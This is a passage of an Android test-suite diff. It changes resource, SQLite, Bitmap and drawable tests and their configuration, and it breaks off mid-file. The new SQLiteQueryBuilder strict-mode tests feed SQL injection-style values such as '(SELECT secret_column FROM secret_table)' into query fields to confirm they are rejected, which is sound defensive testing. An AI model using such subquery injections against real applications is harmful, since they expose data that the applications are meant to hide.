+                .getDrawable(R.color.testcolor_daynight, null);
+
+        assertEquals(
+                mResources.getColor(android.R.color.white, null),
+                dayDrawable.getColorStateList().getDefaultColor());
+
+        assertEquals(
+                mResources.getColor(android.R.color.black, null),
+                nightDrawable.getColorStateList().getDefaultColor());
+
+        assertEquals(ActivityInfo.CONFIG_UI_MODE, dayDrawable.getChangingConfigurations());
+        assertEquals(ActivityInfo.CONFIG_UI_MODE, nightDrawable.getChangingConfigurations());
+    }
+
     public void testGetDrawable_StackOverflowErrorDrawable() {
         try {
             mResources.getDrawable(R.drawable.drawable_recursive);
@@ -958,14 +1009,12 @@
                 mResources.getFont(R.font.sample_bolditalic_family).getStyle());
     }
 
-    // TODO Figure out why it fails in the instant mode.
-    @AppModeFull
-    public void testComplextColorDrawableAttrInflation() {
-        Context context = InstrumentationRegistry.getTargetContext();
-        LayoutInflater layoutInflater = (LayoutInflater) context.getSystemService(
+    public void testComplexColorDrawableAttributeInflation() {
+        final LayoutInflater layoutInflater = (LayoutInflater) getContext().getSystemService(
                 Context.LAYOUT_INFLATER_SERVICE);
 
-        View view = layoutInflater.inflate(R.layout.complex_color_drawable_attr_layout, null);
+        final View view = layoutInflater.inflate(
+                R.layout.complex_color_drawable_attr_layout, null);
         assertTrue(view.getBackground() instanceof ColorStateListDrawable);
     }
 
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
index 2475af8..f197968 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
@@ -40,6 +40,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Objects;
@@ -48,6 +49,8 @@
 @RunWith(AndroidJUnit4.class)
 public class SQLiteQueryBuilderTest {
     private SQLiteDatabase mDatabase;
+    private SQLiteQueryBuilder mStrictBuilder;
+
     private final String TEST_TABLE_NAME = "test";
     private final String EMPLOYEE_TABLE_NAME = "employee";
     private static final String DATABASE_FILE = "database_test.db";
@@ -59,6 +62,9 @@
         context.deleteDatabase(DATABASE_FILE);
         mDatabase = Objects.requireNonNull(
                 context.openOrCreateDatabase(DATABASE_FILE, Context.MODE_PRIVATE, null));
+
+        createEmployeeTable();
+        createStrictQueryBuilder();
     }
 
     @After
@@ -238,8 +244,6 @@
 
     @Test
     public void testQuery() {
-        createEmployeeTable();
-
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
         Cursor cursor = sqliteQueryBuilder.query(mDatabase,
@@ -314,8 +318,6 @@
 
     @Test
     public void testCancelableQuery_WhenNotCanceled_ReturnsResultSet() {
-        createEmployeeTable();
-
         CancellationSignal cancellationSignal = new CancellationSignal();
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
@@ -328,8 +330,6 @@
 
     @Test
     public void testCancelableQuery_WhenCanceledBeforeQuery_ThrowsImmediately() {
-        createEmployeeTable();
-
         CancellationSignal cancellationSignal = new CancellationSignal();
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
@@ -347,8 +347,6 @@
 
     @Test
     public void testCancelableQuery_WhenCanceledAfterQuery_ThrowsWhenExecuted() {
-        createEmployeeTable();
-
         CancellationSignal cancellationSignal = new CancellationSignal();
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
@@ -368,8 +366,6 @@
 
     @Test
     public void testCancelableQuery_WhenCanceledDueToContention_StopsWaitingAndThrows() {
-        createEmployeeTable();
-
         for (int i = 0; i < 5; i++) {
             final CancellationSignal cancellationSignal = new CancellationSignal();
             final Semaphore barrier1 = new Semaphore(0);
@@ -504,8 +500,6 @@
 
     @Test
     public void testUpdate() throws Exception {
-        createEmployeeTable();
-
         final ContentValues values = new ContentValues();
         values.put("name", "Anonymous");
         values.put("salary", 0);
@@ -525,8 +519,6 @@
 
     @Test
     public void testDelete() throws Exception {
-        createEmployeeTable();
-
         {
             final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
             qb.setTables("employee");
@@ -544,12 +536,7 @@
 
     @Test
     public void testStrictQuery() throws Exception {
-        createEmployeeTable();
-
-        final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
-        qb.setTables("employee");
-        qb.setStrict(true);
-        qb.appendWhere("month=2");
+        final SQLiteQueryBuilder qb = mStrictBuilder;
 
         // Should normally only be able to see one row
         try (Cursor c = qb.query(mDatabase, null, null, null, null, null, null)) {
@@ -578,16 +565,10 @@
 
     @Test
     public void testStrictUpdate() throws Exception {
-        createEmployeeTable();
+        final SQLiteQueryBuilder qb = mStrictBuilder;
 
         final ContentValues values = new ContentValues();
         values.put("name", "Anonymous");
-        values.put("salary", 0);
-
-        final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
-        qb.setTables("employee");
-        qb.setStrict(true);
-        qb.appendWhere("month=2");
 
         // Should normally only be able to update one row
         assertEquals(1, qb.update(mDatabase, values, null, null));
@@ -614,10 +595,7 @@
 
     @Test
     public void testStrictDelete() throws Exception {
-        final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
-        qb.setTables("employee");
-        qb.setStrict(true);
-        qb.appendWhere("month=2");
+        final SQLiteQueryBuilder qb = mStrictBuilder;
 
         // Should normally only be able to update one row
         createEmployeeTable();
@@ -647,6 +625,186 @@
         }
     }
 
+    private static final String[] COLUMNS_VALID = new String[] {
+            "_id",
+    };
+
+    private static final String[] COLUMNS_INVALID = new String[] {
+            "salary",
+            "MAX(salary)",
+            "undefined",
+            "(secret_column IN secret_table)",
+            "(SELECT secret_column FROM secret_table)",
+    };
+
+    @Test
+    public void testStrictQueryProjection() throws Exception {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    new String[] { column }, null, null, null, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    new String[] { column }, null, null, null, null, null, null);
+        }
+    }
+
+    @Test
+    public void testStrictQueryWhere() throws Exception {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, column + ">0", null, null, null, null, null);
+            assertStrictQueryValid(
+                    null, "_id>" + column, null, null, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, column + ">0", null, null, null, null, null);
+            assertStrictQueryInvalid(
+                    null, "_id>" + column, null, null, null, null, null);
+        }
+    }
+
+    @Test
+    public void testStrictQueryGroupBy() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, null, null, column, null, null, null);
+            assertStrictQueryValid(
+                    null, null, null, "_id," + column, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, column, null, null, null);
+            assertStrictQueryInvalid(
+                    null, null, null, "_id," + column, null, null, null);
+        }
+    }
+
+    @Test
+    public void testStrictQueryHaving() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, null, null, "_id", column, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, "_id", column, null, null);
+        }
+    }
+
+    @Test
+    public void testStrictQueryOrderBy() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, null, null, null, null, column, null);
+            assertStrictQueryValid(
+                    null, null, null, null, null, column + " ASC", null);
+            assertStrictQueryValid(
+                    null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, column, null);
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, column + " ASC", null);
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+        }
+    }
+
+    @Test
+    public void testStrictQueryLimit() {
+        assertStrictQueryValid(
+                null, null, null, null, null, null, "32");
+        assertStrictQueryValid(
+                null, null, null, null, null, null, "0,32");
+        assertStrictQueryValid(
+                null, null, null, null, null, null, "32 OFFSET 0");
+
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, null, column);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, null, column);
+        }
+    }
+
+    @Test
+    public void testStrictInsertValues() throws Exception {
+        final ContentValues values = new ContentValues();
+        for (String column : COLUMNS_VALID) {
+            values.clear();
+            values.put(column, 42);
+            assertStrictInsertValid(values);
+        }
+        for (String column : COLUMNS_INVALID) {
+            values.clear();
+            values.put(column, 42);
+            assertStrictInsertInvalid(values);
+        }
+    }
+
+    @Test
+    public void testStrictUpdateValues() throws Exception {
+        final ContentValues values = new ContentValues();
+        for (String column : COLUMNS_VALID) {
+            values.clear();
+            values.put(column, 42);
+            assertStrictUpdateValid(values, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            values.clear();
+            values.put(column, 42);
+            assertStrictUpdateInvalid(values, null, null);
+        }
+    }
+
+    private void assertStrictInsertValid(ContentValues values) {
+        mStrictBuilder.insert(mDatabase, values);
+    }
+
+    private void assertStrictInsertInvalid(ContentValues values) {
+        try {
+            mStrictBuilder.insert(mDatabase, values);
+            fail(Arrays.asList(values).toString());
+        } catch (Exception expected) {
+        }
+    }
+
+    private void assertStrictUpdateValid(ContentValues values, String selection,
+            String[] selectionArgs) {
+        mStrictBuilder.update(mDatabase, values, selection, selectionArgs);
+    }
+
+    private void assertStrictUpdateInvalid(ContentValues values, String selection,
+            String[] selectionArgs) {
+        try {
+            mStrictBuilder.update(mDatabase, values, selection, selectionArgs);
+            fail(Arrays.asList(values, selection, selectionArgs).toString());
+        } catch (Exception expected) {
+        }
+    }
+
+    private void assertStrictQueryValid(String[] projectionIn, String selection,
+            String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+        try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+                groupBy, having, sortOrder, limit, null)) {
+        }
+    }
+
+    private void assertStrictQueryInvalid(String[] projectionIn, String selection,
+            String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+        try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+                groupBy, having, sortOrder, limit, null)) {
+            fail(Arrays.asList(projectionIn, selection, selectionArgs,
+                    groupBy, having, sortOrder, limit).toString());
+        } catch (Exception expected) {
+        }
+    }
+
     private void createEmployeeTable() {
         mDatabase.execSQL("DROP TABLE IF EXISTS employee;");
         mDatabase.execSQL("CREATE TABLE employee (_id INTEGER PRIMARY KEY, " +
@@ -664,4 +822,19 @@
         mDatabase.execSQL("INSERT INTO employee (name, month, salary) " +
                 "VALUES ('Jim', '3', '3500');");
     }
+
+    private void createStrictQueryBuilder() {
+        mStrictBuilder = new SQLiteQueryBuilder();
+        mStrictBuilder.setTables("employee");
+        mStrictBuilder.setStrict(true);
+        mStrictBuilder.setStrictColumns(true);
+        mStrictBuilder.setStrictGrammar(true);
+        mStrictBuilder.appendWhere("month=2");
+
+        final Map<String, String> projectionMap = new HashMap<>();
+        projectionMap.put("_id", "_id");
+        projectionMap.put("name", "name");
+        projectionMap.put("month", "month");
+        mStrictBuilder.setProjectionMap(projectionMap);
+    }
 }
diff --git a/tests/tests/dpi/OWNERS b/tests/tests/dpi/OWNERS
new file mode 100644
index 0000000..6d63a63
--- /dev/null
+++ b/tests/tests/dpi/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 25700
+adamp@google.com
diff --git a/tests/tests/drm/AndroidTest.xml b/tests/tests/drm/AndroidTest.xml
index be9e45b..594997f 100644
--- a/tests/tests/drm/AndroidTest.xml
+++ b/tests/tests/drm/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDrmTestCases.apk" />
diff --git a/tests/tests/dynamic_linker/AndroidTest.xml b/tests/tests/dynamic_linker/AndroidTest.xml
index 95433a4..1133eaf 100644
--- a/tests/tests/dynamic_linker/AndroidTest.xml
+++ b/tests/tests/dynamic_linker/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="bionic" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDynamicLinkerTestCases.apk" />
diff --git a/tests/tests/effect/AndroidTest.xml b/tests/tests/effect/AndroidTest.xml
index 87a3165..4364d85 100644
--- a/tests/tests/effect/AndroidTest.xml
+++ b/tests/tests/effect/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsEffectTestCases.apk" />
diff --git a/tests/tests/externalservice/AndroidTest.xml b/tests/tests/externalservice/AndroidTest.xml
index 742ce4b..8549be8 100644
--- a/tests/tests/externalservice/AndroidTest.xml
+++ b/tests/tests/externalservice/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- This module tries to bind to services in another package, which is not valid for instant -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsExternalServiceService.apk" />
diff --git a/tests/tests/externalservice/OWNERS b/tests/tests/externalservice/OWNERS
new file mode 100644
index 0000000..210a568
--- /dev/null
+++ b/tests/tests/externalservice/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 76427
+maco@google.com
+narayan@google.com
diff --git a/tests/tests/gesture/OWNERS b/tests/tests/gesture/OWNERS
new file mode 100644
index 0000000..6d63a63
--- /dev/null
+++ b/tests/tests/gesture/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 25700
+adamp@google.com
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
index beed115..9ed18c2 100644
--- a/tests/tests/graphics/Android.bp
+++ b/tests/tests/graphics/Android.bp
@@ -28,6 +28,7 @@
         "ctstestrunner-axt",
         "androidx.annotation_annotation",
         "junit",
+        "junit-params",
         "testng",
         "androidx.core_core",
     ],
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 5e22d59..82abb58 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -44,7 +44,11 @@
 
         <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
                   android:theme="@style/WhiteBackgroundNoWindowAnimation"
-                  android:screenOrientation="locked"/>
+          android:screenOrientation="locked"/>
+        <provider
+            android:name=".EmptyProvider"
+            android:exported="true"
+            android:authorities="android.graphics.cts.assets"/>
         <provider
             android:name="androidx.core.content.FileProvider"
             android:authorities="android.graphics.cts.fileprovider"
diff --git a/tests/tests/graphics/assets/passthrough_fsh.glsl b/tests/tests/graphics/assets/shaders/passthrough_fsh.glsl
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_fsh.glsl
rename to tests/tests/graphics/assets/shaders/passthrough_fsh.glsl
diff --git a/tests/tests/graphics/assets/passthrough_fsh.spv b/tests/tests/graphics/assets/shaders/passthrough_fsh.spv
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_fsh.spv
rename to tests/tests/graphics/assets/shaders/passthrough_fsh.spv
Binary files differ
diff --git a/tests/tests/graphics/assets/passthrough_vsh.glsl b/tests/tests/graphics/assets/shaders/passthrough_vsh.glsl
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_vsh.glsl
rename to tests/tests/graphics/assets/shaders/passthrough_vsh.glsl
diff --git a/tests/tests/graphics/assets/passthrough_vsh.spv b/tests/tests/graphics/assets/shaders/passthrough_vsh.spv
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_vsh.spv
rename to tests/tests/graphics/assets/shaders/passthrough_vsh.spv
Binary files differ
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index 525030c..7092b86 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -647,7 +647,7 @@
   {
     AAsset *vertFile =
         AAssetManager_open(AAssetManager_fromJava(env, assetMgr),
-                           "passthrough_vsh.spv", AASSET_MODE_BUFFER);
+                           "shaders/passthrough_vsh.spv", AASSET_MODE_BUFFER);
     ASSERT(vertFile);
     size_t vertShaderLength = AAsset_getLength(vertFile);
     std::vector<uint8_t> vertShader;
@@ -658,7 +658,7 @@
 
     AAsset *pixelFile =
         AAssetManager_open(AAssetManager_fromJava(env, assetMgr),
-                           "passthrough_fsh.spv", AASSET_MODE_BUFFER);
+                           "shaders/passthrough_fsh.spv", AASSET_MODE_BUFFER);
     ASSERT(pixelFile);
     size_t pixelShaderLength = AAsset_getLength(pixelFile);
     std::vector<uint8_t> pixelShader;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
index d44c14f..beecac0 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
@@ -37,7 +37,7 @@
     ASSERT_EQ(format, info.format);
 }
 
-static void validateNdkAccessAfterRecycle(JNIEnv* env, jclass, jobject jbitmap) {
+static void validateNdkAccessFails(JNIEnv* env, jclass, jobject jbitmap) {
     void* pixels = nullptr;
     int err = AndroidBitmap_lockPixels(env, jbitmap, &pixels);
     ASSERT_EQ(err, ANDROID_BITMAP_RESULT_JNI_EXCEPTION);
@@ -79,14 +79,51 @@
     return info.format;
 }
 
+static void testNullBitmap(JNIEnv* env, jclass) {
+    ASSERT_NE(nullptr, env);
+    AndroidBitmapInfo info;
+    int err = AndroidBitmap_getInfo(env, nullptr, &info);
+    ASSERT_EQ(err, ANDROID_BITMAP_RESULT_BAD_PARAMETER);
+
+    void* pixels = nullptr;
+    err = AndroidBitmap_lockPixels(env, nullptr, &pixels);
+    ASSERT_EQ(err, ANDROID_BITMAP_RESULT_BAD_PARAMETER);
+
+    err = AndroidBitmap_unlockPixels(env, nullptr);
+    ASSERT_EQ(err, ANDROID_BITMAP_RESULT_BAD_PARAMETER);
+}
+
+static void testInfo(JNIEnv* env, jclass, jobject jbitmap, jint androidBitmapFormat,
+                     jint width, jint height, jboolean hasAlpha, jboolean premultiplied) {
+    AndroidBitmapInfo info;
+    int err = AndroidBitmap_getInfo(env, jbitmap, &info);
+    ASSERT_EQ(err, ANDROID_BITMAP_RESULT_SUCCESS);
+
+    ASSERT_EQ(androidBitmapFormat, info.format);
+    ASSERT_EQ(width, info.width);
+    ASSERT_EQ(height, info.height);
+
+    int ndkAlpha = (info.flags << ANDROID_BITMAP_FLAGS_ALPHA_SHIFT)
+            & ANDROID_BITMAP_FLAGS_ALPHA_MASK;
+    if (!hasAlpha) {
+        ASSERT_EQ(ndkAlpha, ANDROID_BITMAP_FLAGS_ALPHA_OPAQUE);
+    } else if (premultiplied) {
+        ASSERT_EQ(ndkAlpha, ANDROID_BITMAP_FLAGS_ALPHA_PREMUL);
+    } else {
+        ASSERT_EQ(ndkAlpha, ANDROID_BITMAP_FLAGS_ALPHA_UNPREMUL);
+    }
+}
+
 static JNINativeMethod gMethods[] = {
     { "nValidateBitmapInfo", "(Landroid/graphics/Bitmap;IIZ)V",
         (void*) validateBitmapInfo },
-    { "nValidateNdkAccessAfterRecycle", "(Landroid/graphics/Bitmap;)V",
-        (void*) validateNdkAccessAfterRecycle },
+    { "nValidateNdkAccessFails", "(Landroid/graphics/Bitmap;)V",
+        (void*) validateNdkAccessFails },
     { "nFillRgbaHwBuffer", "(Landroid/hardware/HardwareBuffer;)V",
         (void*) fillRgbaHardwareBuffer },
     { "nGetFormat", "(Landroid/graphics/Bitmap;)I", (void*) getFormat },
+    { "nTestNullBitmap", "()V", (void*) testNullBitmap },
+    { "nTestInfo", "(Landroid/graphics/Bitmap;IIIZZ)V", (void*) testInfo },
 };
 
 int register_android_graphics_cts_BitmapTest(JNIEnv* env) {
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index e3be1d1..e67fce8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index ce18075..8a48104 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index f991189..2145eec 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index f2798b4..5428052 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index aee71ec..70ee76a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index a879e3c..0a195a8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_135.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_135.xml
new file mode 100644
index 0000000..f905522
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_135.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-135"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_180.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_180.xml
new file mode 100644
index 0000000..aad2d56
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_180.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-180"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_225.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_225.xml
new file mode 100644
index 0000000..0165b8c
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_225.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-225"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_270.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_270.xml
new file mode 100644
index 0000000..df440f1
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_270.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-270"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_315.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_315.xml
new file mode 100644
index 0000000..a7ca0bc
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_315.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
